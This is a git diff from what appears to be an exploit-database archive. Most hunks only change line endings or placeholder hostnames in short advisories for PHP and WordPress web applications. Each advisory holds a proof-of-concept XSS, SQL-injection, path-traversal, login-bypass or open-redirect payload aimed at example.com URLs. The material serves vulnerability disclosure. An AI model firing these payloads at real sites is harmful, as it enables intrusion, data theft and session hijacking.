_GET[&#039;PHP_SELF&#039;] and PHP_SELF and _SESSION[&#039;PHP_SELF&#039;] = " . $_SERVER[&#039;PHP_SELF&#039;] . &#039; - &#039; . $_GET[&#039;PHP_SELF&#039;] . &#039; - &#039; . $PHP_SELF . &#039; - &#039; . $_SESSION[&#039;PHP_SELF&#039;] . &#039;<br /><br />&#039;; \ No newline at end of file +line 76: echo "_SERVER[&#039;PHP_SELF&#039;] and _GET[&#039;PHP_SELF&#039;] and PHP_SELF and _SESSION[&#039;PHP_SELF&#039;] = " . $_SERVER[&#039;PHP_SELF&#039;] . &#039; - &#039; . $_GET[&#039;PHP_SELF&#039;] . &#039; - &#039; . $PHP_SELF . &#039; - &#039; . $_SESSION[&#039;PHP_SELF&#039;] . &#039;<br /><br />&#039;; \ No newline at end of file diff --git a/platforms/php/webapps/36347.txt b/platforms/php/webapps/36347.txt index 5ba222b60..470a84708 100755 --- a/platforms/php/webapps/36347.txt +++ b/platforms/php/webapps/36347.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Hastymail2 2.1.1 is vulnerable; other versions may also be affected. GET: http://<app_base>/index.php?page=mailbox&mailbox=Drafts -POST: rs=<script>alert(&#039;xss&#039;)</script> \ No newline at end of file +POST: rs=<script>alert(&#039;xss&#039;)</script> \ No newline at end of file diff --git a/platforms/php/webapps/36348.txt b/platforms/php/webapps/36348.txt index b3d436775..d58257ddf 100755 --- a/platforms/php/webapps/36348.txt +++ b/platforms/php/webapps/36348.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Pro Clan Manager 0.4.2 is vulnerable; other versions may also be affected. -notarealuser%00'+union+select+1;# \ No newline at end of file +notarealuser%00'+union+select+1;# \ No newline at end of file diff --git a/platforms/php/webapps/36349.txt b/platforms/php/webapps/36349.txt index c919ca4fb..4e4c4fdcb 100755 --- a/platforms/php/webapps/36349.txt +++ b/platforms/php/webapps/36349.txt @@ -9,4 +9,4 @@ AdaptCMS 2.0.0 and 2.0.1 are vulnerable; other versions may also be affected. http://www.example.com/article/'66/Blog/AdaptCMS-20-March-26th http://www.example.com/article/'75/News/AdaptCMS-200-Released http://www.example.com/article/'293/Album/Pink-Floyd-Animals -http://www.example.com/article/'294/News/AdaptCMS-202-Update \ No newline at end of file +http://www.example.com/article/'294/News/AdaptCMS-202-Update \ No newline at end of file diff --git a/platforms/php/webapps/36350.txt b/platforms/php/webapps/36350.txt index 52b644e08..f50c5e8c6 100755 --- a/platforms/php/webapps/36350.txt +++ b/platforms/php/webapps/36350.txt @@ -4,4 +4,4 @@ CMS Balitbang is prone to multiple SQL-injection vulnerabilities because it fail A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/<CMS Balitbang Installation Path>/index.php?id=lih_buku&hal='[SQL] \ No newline at end of file +http://www.example.com/<CMS Balitbang Installation Path>/index.php?id=lih_buku&hal='[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/36362.txt b/platforms/php/webapps/36362.txt index cba600824..1feabdf77 100755 --- a/platforms/php/webapps/36362.txt +++ b/platforms/php/webapps/36362.txt @@ -10,4 +10,4 @@ http://www.example.com/demo/admin/controller.php?file=admins&do=edit&id=XSS http://www.example.com/demo/admin/controller.php?file=blocks&do=edit&id=XSS http://www.example.com/demo/admin/controller.php?plugin=articles&do=edit&id=XSS http://www.example.com/demo/admin/controller.php?file=suggest-category&id=XSS -http://www.example.com/demo/admin/controller.php?file=search&_dc=1322239437555&action=get&start=0&limit=10&sort=XSS \ No newline at end of file +http://www.example.com/demo/admin/controller.php?file=search&_dc=1322239437555&action=get&start=0&limit=10&sort=XSS \ No newline at end of file diff --git a/platforms/php/webapps/36363.txt b/platforms/php/webapps/36363.txt index 363af724a..da3fbc927 100755 --- a/platforms/php/webapps/36363.txt +++ b/platforms/php/webapps/36363.txt @@ -4,4 +4,4 @@ Skysa App Bar Plugin for WordPress is prone to a cross-site-scripting vulnerabil An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[path]/wp-content/plugins/skysa-official/skysa.php?submit=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/skysa-official/skysa.php?submit=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36364.txt b/platforms/php/webapps/36364.txt index ec77bfd48..d21c5f8cc 100755 --- a/platforms/php/webapps/36364.txt +++ b/platforms/php/webapps/36364.txt @@ -8,4 +8,4 @@ Manx 1.0.1 is vulnerable; other versions may also be affected. http://www.example.com/admin/tiny_mce/plugins/ajaxfilemanager/ajax_get_file_listing.php?limit="><script>alert(1)</script> -http://www.example.com/admin/tiny_mce/plugins/ajaxfilemanager/ajax_get_file_listing.php?limit=5&search=1&search_folder=</script><script>alert(1)</script>Waddup Thricer! \ No newline at end of file +http://www.example.com/admin/tiny_mce/plugins/ajaxfilemanager/ajax_get_file_listing.php?limit=5&search=1&search_folder=</script><script>alert(1)</script>Waddup Thricer! \ No newline at end of file diff --git a/platforms/php/webapps/36366.txt b/platforms/php/webapps/36366.txt index d011f485e..0793c5419 100755 --- a/platforms/php/webapps/36366.txt +++ b/platforms/php/webapps/36366.txt @@ -6,4 +6,4 @@ Exploiting these issues will allow an attacker to execute arbitrary script code Manx 1.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/admin/admin_blocks.php?editorChoice=none&fileName=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini \ No newline at end of file +http://www.example.com/admin/admin_blocks.php?editorChoice=none&fileName=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini \ No newline at end of file diff --git a/platforms/php/webapps/3638.txt b/platforms/php/webapps/3638.txt index 45871a833..80db9614f 100755 --- a/platforms/php/webapps/3638.txt +++ b/platforms/php/webapps/3638.txt @@ -29,6 +29,6 @@ index.of /maplab/ -- Exploit: -http://server/pathmaplab/htdocs/gmapfactory/params.php?gszAppPath=[EvilScript] +http://site.com/pathmaplab/htdocs/gmapfactory/params.php?gszAppPath=[EvilScript] # milw0rm.com [2007-04-02] diff --git a/platforms/php/webapps/36382.txt b/platforms/php/webapps/36382.txt index ae0787dc4..85f492b35 100755 --- a/platforms/php/webapps/36382.txt +++ b/platforms/php/webapps/36382.txt @@ -8,4 +8,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow UPDATE April 18, 2012: Further reports indicate this issue may not be a vulnerability; the issue can not be exploited as described. -http://www.example.com/[path]/wp-content/plugins/1-jquery-photo-gallery-slideshow-flash/wp-1pluginjquery.php?page=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/1-jquery-photo-gallery-slideshow-flash/wp-1pluginjquery.php?page=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36383.txt b/platforms/php/webapps/36383.txt index 39b5a36c5..7a1c17c54 100755 --- a/platforms/php/webapps/36383.txt +++ b/platforms/php/webapps/36383.txt @@ -4,4 +4,4 @@ flash-album-gallery plug-in for WordPress is prone to a cross-site-scripting vul An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/facebook.php?i=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/facebook.php?i=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36384.txt b/platforms/php/webapps/36384.txt index 520c6f43e..1e5fbd3d1 100755 --- a/platforms/php/webapps/36384.txt +++ b/platforms/php/webapps/36384.txt @@ -8,4 +8,4 @@ SugarCRM Community Edition 6.3.0RC1 is vulnerable; other versions may also be af http://www.example.com/index.php?entryPoint=json&action=get_full_list&module=Leads&where=0%29%20union%20select%20version%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71%20--%20 -http://www.example.com/index.php?entryPoint=json&action=get_full_list&module=Leads&order=SQL_CODE_HERE%20--%20 \ No newline at end of file +http://www.example.com/index.php?entryPoint=json&action=get_full_list&module=Leads&order=SQL_CODE_HERE%20--%20 \ No newline at end of file diff --git a/platforms/php/webapps/36385.txt b/platforms/php/webapps/36385.txt index 08f4375fe..c53967e23 100755 --- a/platforms/php/webapps/36385.txt +++ b/platforms/php/webapps/36385.txt @@ -25,7 +25,7 @@ https://www.apptha.com/category/extension/joomla/simple-photo-gallery # Example : # # -http://www.server/index.php?option=com_simplephotogallery&view=images&albumid=[Sqli] +http://www.site.com/index.php?option=com_simplephotogallery&view=images&albumid=[Sqli] # # # video Demo : http://youtu.be/-QjCMAB3vrg diff --git a/platforms/php/webapps/36386.txt b/platforms/php/webapps/36386.txt index 5bdf12714..c6f7b015d 100755 --- a/platforms/php/webapps/36386.txt +++ b/platforms/php/webapps/36386.txt @@ -4,11 +4,11 @@ # Email : uxxd@hotmail.com # Download Script :http://www.scriptsez.net/download/download.php?action=download&p=smart_php_poll.zip&ns=1 -go to server/path/admin.php +go to www.target.com/path/admin.php username = admin 'or' 1=1 password = anything - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/36407.txt b/platforms/php/webapps/36407.txt index c7db4b71d..64f34b413 100755 --- a/platforms/php/webapps/36407.txt +++ b/platforms/php/webapps/36407.txt @@ -4,4 +4,4 @@ Elxis CMS is prone to multiple cross-site scripting vulnerabilities because it f An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com//elxis/administrator/index.php/%22onmouseover=prompt(dclabs)%3E \ No newline at end of file +http://www.example.com//elxis/administrator/index.php/%22onmouseover=prompt(dclabs)%3E \ No newline at end of file diff --git a/platforms/php/webapps/36408.txt b/platforms/php/webapps/36408.txt index c0dece1e2..d873928cc 100755 --- a/platforms/php/webapps/36408.txt +++ b/platforms/php/webapps/36408.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Pretty Link 1.5.2 is vulnerable; other versions may also be affected. - http://www.example.com/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=[xss] \ No newline at end of file + http://www.example.com/[path]/wp-content/plugins/pretty-link/pretty-bar.php?url=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36410.txt b/platforms/php/webapps/36410.txt index abf2bdd3b..cf137ec68 100755 --- a/platforms/php/webapps/36410.txt +++ b/platforms/php/webapps/36410.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to upload arbitrary files to the affected co Simple Machines Forum 1.1.15 is vulnerable; other versions may also be affected. -http://www.example.com/[patch]/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php \ No newline at end of file +http://www.example.com/[patch]/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php \ No newline at end of file diff --git a/platforms/php/webapps/36432.txt b/platforms/php/webapps/36432.txt index a60378040..066ac1c24 100755 --- a/platforms/php/webapps/36432.txt +++ b/platforms/php/webapps/36432.txt @@ -4,4 +4,4 @@ Pet Listing is prone to a cross-site scripting vulnerability because it fails to An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/preview.php?controller=Listings&action=search&listing_search=1&type_id=&bedrooms_from=">[XSS] \ No newline at end of file +http://www.example.com/preview.php?controller=Listings&action=search&listing_search=1&type_id=&bedrooms_from=">[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36434.txt b/platforms/php/webapps/36434.txt index b6a9f611f..0bf2ec2c8 100755 --- a/platforms/php/webapps/36434.txt +++ b/platforms/php/webapps/36434.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br GRAND FlAGallery 1.57 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/flagshow.php?pid=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/flagshow.php?pid=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36435.txt b/platforms/php/webapps/36435.txt index b009e8961..2139a0248 100755 --- a/platforms/php/webapps/36435.txt +++ b/platforms/php/webapps/36435.txt @@ -157,4 +157,4 @@ Advisory Release: 03/18/2015 VIII.Credits ======================================================== Discovered by Rehan Ahmed -knight_rehan@hotmail.com \ No newline at end of file +knight_rehan@hotmail.com \ No newline at end of file diff --git a/platforms/php/webapps/36444.txt b/platforms/php/webapps/36444.txt index 9cb00388c..a74983125 100755 --- a/platforms/php/webapps/36444.txt +++ b/platforms/php/webapps/36444.txt @@ -4,4 +4,4 @@ flash-album-gallery plug-in for WordPress is prone to a cross-site-scripting vul An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/flagshow.php?pid=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/flagshow.php?pid=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36445.txt b/platforms/php/webapps/36445.txt index 4c16d6d55..61f0566d2 100755 --- a/platforms/php/webapps/36445.txt +++ b/platforms/php/webapps/36445.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br The Welcomizer 1.3.9.4 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/wp-content/plugins/the-welcomizer/twiz-index.php?page=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/the-welcomizer/twiz-index.php?page=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36447.txt b/platforms/php/webapps/36447.txt index 65bc13e7b..7f5a4aaec 100755 --- a/platforms/php/webapps/36447.txt +++ b/platforms/php/webapps/36447.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Pulse Pro 1.7.2 is vulnerable; other versions may also be affected. http://www.example.com/index.php?p=blocks&d="><script>alert(1)</script> -http://www.example.com/index.php?p=edit-post&post_id="><script>alert(1)</script> \ No newline at end of file +http://www.example.com/index.php?p=edit-post&post_id="><script>alert(1)</script> \ No newline at end of file diff --git a/platforms/php/webapps/36456.txt b/platforms/php/webapps/36456.txt index c4a58e173..88c99602b 100755 --- a/platforms/php/webapps/36456.txt +++ b/platforms/php/webapps/36456.txt @@ -8,4 +8,4 @@ Owl Intranet Engine 1.00 is affected; other versions may also be vulnerable. http://www.example.org/owl/admin/index.php?userid=1 http://www.example.org/owl/admin/index.php?userid=1&newuser -http://www.example.org/owl/admin/index.php?userid=1&action=edituser&owluser=1 \ No newline at end of file +http://www.example.org/owl/admin/index.php?userid=1&action=edituser&owluser=1 \ No newline at end of file diff --git a/platforms/php/webapps/36460.txt b/platforms/php/webapps/36460.txt index d7a7e51d4..9acf2ec98 100755 --- a/platforms/php/webapps/36460.txt +++ b/platforms/php/webapps/36460.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Flirt-Projekt 4.8 is vulnerable; other versions may also be affected. -http://www.example.com/flirtportal/rub2_w.php?kontaktid=f6389d0eeabdb4aaf99f3c3c949dc793&rub=1â??a \ No newline at end of file +http://www.example.com/flirtportal/rub2_w.php?kontaktid=f6389d0eeabdb4aaf99f3c3c949dc793&rub=1â??a \ No newline at end of file diff --git a/platforms/php/webapps/36461.txt b/platforms/php/webapps/36461.txt index d67122a65..e1b098c14 100755 --- a/platforms/php/webapps/36461.txt +++ b/platforms/php/webapps/36461.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Social Network Community 2 is vulnerable; other versions may also be affected. -http://www.example.com/social2/user.php?userId=12'a \ No newline at end of file +http://www.example.com/social2/user.php?userId=12'a \ No newline at end of file diff --git a/platforms/php/webapps/36462.txt b/platforms/php/webapps/36462.txt index 2914f4ace..5a5cc9510 100755 --- a/platforms/php/webapps/36462.txt +++ b/platforms/php/webapps/36462.txt @@ -4,4 +4,4 @@ Video Community Portal is prone to an SQL-injection vulnerability because it fai Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/videoportalneu/index.php?d=user&id=2â??a \ No newline at end of file +http://www.example.com/videoportalneu/index.php?d=user&id=2â??a \ No newline at end of file diff --git a/platforms/php/webapps/36464.txt b/platforms/php/webapps/36464.txt index e224a06f7..f8512f782 100755 --- a/platforms/php/webapps/36464.txt +++ b/platforms/php/webapps/36464.txt @@ -35,7 +35,7 @@ Like error based double query injection for exploiting username ---> and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - Injected Link---> -http://webserver/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4 and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - &searchform=1&expand=0&Itemid=109 +http://website.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4 and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - &searchform=1&expand=0&Itemid=109 SQL Injection in Itemid parameter diff --git a/platforms/php/webapps/36468.txt b/platforms/php/webapps/36468.txt index 8d1b83ca0..ab9b7ea54 100755 --- a/platforms/php/webapps/36468.txt +++ b/platforms/php/webapps/36468.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PHP Booking Calendar 10e is vulnerable; other versions may also be affected. -http://www.example.com/cal/details_view.php?event_id=1&date=2011-12-01&view=month&loc=loc1&page_info_message=[XSS] \ No newline at end of file +http://www.example.com/cal/details_view.php?event_id=1&date=2011-12-01&view=month&loc=loc1&page_info_message=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36469.txt b/platforms/php/webapps/36469.txt index 26af43ee5..847fca19b 100755 --- a/platforms/php/webapps/36469.txt +++ b/platforms/php/webapps/36469.txt @@ -4,4 +4,4 @@ Joomla! 'com_tsonymf' component is prone to an SQL-injection vulnerability becau Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[PATH]/index.php?option=com_tsonymf&controller=fpage&task=flypage&idofitem=162 (SQL) \ No newline at end of file +http://www.example.com/[PATH]/index.php?option=com_tsonymf&controller=fpage&task=flypage&idofitem=162 (SQL) \ No newline at end of file diff --git a/platforms/php/webapps/36472.txt b/platforms/php/webapps/36472.txt index 32d19fe70..6e5070d5d 100755 --- a/platforms/php/webapps/36472.txt +++ b/platforms/php/webapps/36472.txt @@ -4,4 +4,4 @@ Joomla! 'com_caproductprices' component is prone to an SQL-injection vulnerabili Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[PATH]/index.php?option=com_caproductprices&Itemid=&task=graph&id=83 (SQL) \ No newline at end of file +http://www.example.com/[PATH]/index.php?option=com_caproductprices&Itemid=&task=graph&id=83 (SQL) \ No newline at end of file diff --git a/platforms/php/webapps/36473.txt b/platforms/php/webapps/36473.txt index 4410dc6de..16acf0b97 100755 --- a/platforms/php/webapps/36473.txt +++ b/platforms/php/webapps/36473.txt @@ -4,4 +4,4 @@ Cyberoam UTM is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/corporate/Controller?mode=301&tableid=[SQL]&sort=&dir= \ No newline at end of file +http://www.example.com/corporate/Controller?mode=301&tableid=[SQL]&sort=&dir= \ No newline at end of file diff --git a/platforms/php/webapps/36481.txt b/platforms/php/webapps/36481.txt index 145bfaa33..123807b6e 100755 --- a/platforms/php/webapps/36481.txt +++ b/platforms/php/webapps/36481.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TheCartPress WordPress Plugin 1.6 and prior versions are vulnerable. -http://www.example.com/wp-content/plugins/thecartpress/admin/OptionsPostsList.php?tcp_options_posts_update=sdf&tcp_name_post_234=%3Cimg%20src=[XSS]&tcp_post_ids[]=234 \ No newline at end of file +http://www.example.com/wp-content/plugins/thecartpress/admin/OptionsPostsList.php?tcp_options_posts_update=sdf&tcp_name_post_234=%3Cimg%20src=[XSS]&tcp_post_ids[]=234 \ No newline at end of file diff --git a/platforms/php/webapps/36482.txt b/platforms/php/webapps/36482.txt index 1f53277be..b950f4f4a 100755 --- a/platforms/php/webapps/36482.txt +++ b/platforms/php/webapps/36482.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Siena CMS 1.242 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?err=[XSS] \ No newline at end of file +http://www.example.com/index.php?err=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36483.txt b/platforms/php/webapps/36483.txt index b39fe3c03..0f371128b 100755 --- a/platforms/php/webapps/36483.txt +++ b/platforms/php/webapps/36483.txt @@ -4,4 +4,4 @@ WP Live.php plugin for WordPress is prone to a cross-site-scripting vulnerabilit An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[path]/wp-content/plugins/wp-livephp/wp-live.php?s=[Xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/wp-livephp/wp-live.php?s=[Xss] \ No newline at end of file diff --git a/platforms/php/webapps/36484.txt b/platforms/php/webapps/36484.txt index d887ba862..3fe15e601 100755 --- a/platforms/php/webapps/36484.txt +++ b/platforms/php/webapps/36484.txt @@ -4,4 +4,4 @@ PHPB2B is prone to a cross-site-scripting vulnerability because it fails to prop An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[patch]/list.php?do=search&q=[XSS] \ No newline at end of file +http://www.example.com/[patch]/list.php?do=search&q=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36485.txt b/platforms/php/webapps/36485.txt index e1aa7be6d..44fa44dcc 100755 --- a/platforms/php/webapps/36485.txt +++ b/platforms/php/webapps/36485.txt @@ -6,4 +6,4 @@ An attacker could leverage this issue to execute arbitrary script code in the br FuseTalk Forums 3.2 is vulnerable; other versions may also be affected. -http://www.example.com/login.cfm?windowed=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E \ No newline at end of file +http://www.example.com/login.cfm?windowed=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E \ No newline at end of file diff --git a/platforms/php/webapps/36486.txt b/platforms/php/webapps/36486.txt index c0e17086f..2ea17ec4e 100755 --- a/platforms/php/webapps/36486.txt +++ b/platforms/php/webapps/36486.txt @@ -8,4 +8,4 @@ The following example URIs are available: http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13-- -http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables-- \ No newline at end of file +http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables-- \ No newline at end of file diff --git a/platforms/php/webapps/36487.txt b/platforms/php/webapps/36487.txt index f4008ddaa..479b45307 100755 --- a/platforms/php/webapps/36487.txt +++ b/platforms/php/webapps/36487.txt @@ -4,4 +4,4 @@ The Comment Rating plugin for WordPress is prone to a cross-site scripting vulne An attacker could leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]&action=add&path=<script>alert('Founded by TheEvilThinker')</script>&imgIndex= \ No newline at end of file +http://www.example.com/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]&action=add&path=<script>alert('Founded by TheEvilThinker')</script>&imgIndex= \ No newline at end of file diff --git a/platforms/php/webapps/36488.txt b/platforms/php/webapps/36488.txt index 89d098459..50e6e196b 100755 --- a/platforms/php/webapps/36488.txt +++ b/platforms/php/webapps/36488.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow WHOIS 1.4.2.3 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/wp-content/plugins/wp-whois/wp-whois-ajax.php?cmd=wpwhoisform&ms=Xss?domain=[xss] \ No newline at end of file +http://www.example.com/[path]/wp-content/plugins/wp-whois/wp-whois-ajax.php?cmd=wpwhoisform&ms=Xss?domain=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36489.txt b/platforms/php/webapps/36489.txt index 881a426b4..c89571b4c 100755 --- a/platforms/php/webapps/36489.txt +++ b/platforms/php/webapps/36489.txt @@ -22,4 +22,4 @@ Content-Length: 156 duser=blah&dpass=&dhost=localhost&ddb=%3Cscript%3Ealert%28%27123%27%29%3C%2 Fscript%3E&dprefix=&siteurl=A.B.C.D&Submit=next&lang=en-us&step=print -Config \ No newline at end of file +Config \ No newline at end of file diff --git a/platforms/php/webapps/36493.txt b/platforms/php/webapps/36493.txt index 66f789618..7375b9b9d 100755 --- a/platforms/php/webapps/36493.txt +++ b/platforms/php/webapps/36493.txt @@ -6,4 +6,4 @@ A successful exploit may aid in phishing attacks; other attacks are possible. Orchard 1.3.9 is vulnerable; other versions may be affected. -http://www.example.com/orchard/Users/Account/LogOff?ReturnUrl=%2f%2fwww.netsparker.com%3f \ No newline at end of file +http://www.example.com/orchard/Users/Account/LogOff?ReturnUrl=%2f%2fwww.netsparker.com%3f \ No newline at end of file diff --git a/platforms/php/webapps/36495.txt b/platforms/php/webapps/36495.txt index f37d6a98f..405b41032 100755 --- a/platforms/php/webapps/36495.txt +++ b/platforms/php/webapps/36495.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Pligg CMS 1.1.2 is vulnerable; other versions may also be affected. -http://www.example.com/Audits/CMS/pligg_1.1.2/search.php?adv=1&status='and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search+&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0 \ No newline at end of file +http://www.example.com/Audits/CMS/pligg_1.1.2/search.php?adv=1&status='and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search+&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0 \ No newline at end of file diff --git a/platforms/php/webapps/36496.txt b/platforms/php/webapps/36496.txt index 2d60411b2..3b4513fdd 100755 --- a/platforms/php/webapps/36496.txt +++ b/platforms/php/webapps/36496.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Pligg CMS 1.1.4 is vulnerable; other versions may also be affected. -http://www.example.com/demo/search/')%7B%7Dalert('xss');if(' \ No newline at end of file +http://www.example.com/demo/search/')%7B%7Dalert('xss');if(' \ No newline at end of file diff --git a/platforms/php/webapps/36498.txt b/platforms/php/webapps/36498.txt index 5d680ab4a..28648d087 100755 --- a/platforms/php/webapps/36498.txt +++ b/platforms/php/webapps/36498.txt @@ -9,4 +9,4 @@ Yaws 1.88 is vulnerable; other versions may be affected. http://www.example.com/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://www.example.com/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://www.example.com/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E -http://www.example.com/editPage.yaws?node=home \ No newline at end of file +http://www.example.com/editPage.yaws?node=home \ No newline at end of file diff --git a/platforms/php/webapps/36512.txt b/platforms/php/webapps/36512.txt index 32ddf88cb..2ff78bb4f 100755 --- a/platforms/php/webapps/36512.txt +++ b/platforms/php/webapps/36512.txt @@ -6,4 +6,4 @@ Successfully exploiting the issue may allow an attacker to obtain sensitive info eFront 3.6.10 is vulnerable; other versions may also be affected. -http://www.example.com/student.php?ctg=personal&user=trainee&op=files&download=[file] \ No newline at end of file +http://www.example.com/student.php?ctg=personal&user=trainee&op=files&download=[file] \ No newline at end of file diff --git a/platforms/php/webapps/36521.txt b/platforms/php/webapps/36521.txt index 797ac352a..710a78730 100755 --- a/platforms/php/webapps/36521.txt +++ b/platforms/php/webapps/36521.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Atar2b CMS 